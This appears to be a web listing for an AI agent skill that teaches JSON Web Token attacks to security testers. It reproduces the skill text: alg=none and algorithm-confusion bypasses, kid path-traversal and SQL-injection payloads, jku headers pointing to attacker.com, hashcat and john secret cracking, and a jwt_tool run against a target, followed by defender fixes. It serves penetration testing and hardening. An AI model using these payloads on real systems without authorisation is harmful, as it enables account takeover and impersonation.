jwt
What it does
This skill teaches the agent how JSON Web Tokens can be attacked when signing is weak or misconfigured. It is for security testers reviewing login tokens.
When to use it
- βWhen a site uses JWT tokens for login and you want to check how they are verified.
- βWhen a token header includes fields such as kid, jku or x5u that may be trusted.
- βWhen a security review asks whether a token signature can be bypassed or cracked.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether the login token in my app can be changed to log in as another user?β
5 new skills a week. 1 minute to read.
How it works
The agent decodes the token, then tries altered headers, unsigned tokens or different signing methods, and checks whether the server still accepts the changed token.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
JSON Web Token Attacks
JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
1. Anatomy
header.payload.signature β each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
2. Attack surface
2.1 alg=none bypass
Set {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool $JWT -X a # alg=none attack
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.
2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attack
2.3 kid header injection
kid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup
jwt_tool -X i -I -hc kid -hv path chains kid injection variants.
2.4 jku / x5u URL injection
jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
- subdomain confusion (
https://target.com.attacker.com/jwks.json) - userinfo (
https://attacker.com@target.com/jwks.json) - redirect chains via target's open-redirect
2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
2.6 Signature stripping (Express.js / older Go libs)
Some libraries verify only IF a signature is present. Strip it:
header.payload. β trailing dot, no sig
2.7 Embedded jwk header
jwk in header (vs jku pointer) β attacker embeds their own pub key:
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
Old node-jsonwebtoken accepted this.
3. Detection in recon
JWT presence signals:
Authorization: Bearer eyJ...headersaccess_token=eyJ.../id_token=eyJ...URL params or cookies.well-known/jwks.jsonendpoint exposed.well-known/openid-configurationdiscovery doc
4. PoC pattern (Burp + jwt_tool)
- Capture authenticated request
jwt_tool <JWT> -M at -t <target_url>β runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)- For positive results, replay manually via Burp Repeater to confirm
- Document the modified JWT + decoded admin claims as PoC
5. Severity calibration
| Bug | Typical severity |
|---|---|
alg=none accepted on user β admin claim swap |
Critical 9.8 |
| HS256βRS256 confusion β arbitrary user impersonation | Critical 9.8 |
jku to attacker URL accepted |
Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
kid SQLi β DB enumeration |
High 8.0 |
| Signature stripping accepted | Critical 9.8 |
6. Defender remediation
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // EXPLICIT β never accept "none" or HS256 here
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm
// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup
Cross-references
- Upstream catalog:
skills/_corpus/payloads/JSON Web Token/ - jwt_tool: https://github.com/ticarpi/jwt_tool
Known exemplars
- Auth0 alg=none (2015) β historical CVE-2015-2951 era
- Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
- Atlassian 2022: JWT validation bypass in JIRA cloud β admin
- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host
FAQ
What is the none algorithm test?
It sets the algorithm to none and removes the signature, to see whether the server accepts an unsigned token.
Does it try to crack secrets?
Yes, the skill covers cracking weak HMAC secrets.
What tools does it mention?
It mentions the jwt_tool and jwt-cracker utilities for decoding and testing tokens.
Details
Original description by the author
JSON Web Token attacks β algorithm confusion (alg=none, HS256βRS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14067
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.